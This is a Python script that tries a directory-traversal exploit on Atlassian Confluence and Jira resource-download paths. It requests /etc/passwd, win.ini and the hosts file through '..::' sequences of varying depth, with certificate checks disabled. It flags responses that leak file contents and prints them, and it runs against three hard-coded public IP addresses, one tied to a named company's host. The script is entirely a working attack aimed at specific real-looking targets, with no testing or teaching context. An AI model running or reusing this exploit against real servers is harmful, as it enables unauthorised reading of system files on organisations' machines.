import http.client
import ssl

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
PRE = {
    "confluence": "/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/",
    "jira": "/download/resources/jira.webresources:color-picker-popup/images/",
}


def ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    c.set_ciphers("DEFAULT@SECLEVEL=1")
    return c


def get(ip, host, path, timeout=12):
    try:
        conn = http.client.HTTPSConnection(ip, 443, timeout=timeout, context=ctx())
        conn.request("GET", path, headers={"Host": host, "User-Agent": UA, "Accept": "*/*"})
        r = conn.getresponse()
        b = r.read(100000).decode("utf-8", "replace")
        conn.close()
        return r.status, b
    except Exception as e:
        return None, type(e).__name__


def try_paths(ip, host, product):
    pre = PRE[product]
    for n in (8, 9, 10, 11, 12, 14):
        for tgt in ("etc::passwd", "WINDOWS::win.ini", "WINDOWS::System32::drivers::etc::hosts"):
            up = "..::" * n
            st, b = get(ip, host, pre + up + tgt)
            mark = ""
            if st == 200 and ("root:" in b or "[fonts]" in b.lower() or "localhost" in b):
                mark = "HIT"
            print("%s %s n=%d %s -> %s %d %s" % (ip, product, n, tgt, st, len(b), mark), flush=True)
            if mark:
                print("   " + " ".join(b.split())[:200], flush=True)


for ip, host, prod in [("45.79.171.237", "jira.sea-birdscientific.com", "confluence"),
                       ("54.213.132.138", "54.213.132.138", "jira"),
                       ("65.0.173.175", "65.0.173.175", "jira")]:
    try_paths(ip, host, prod)
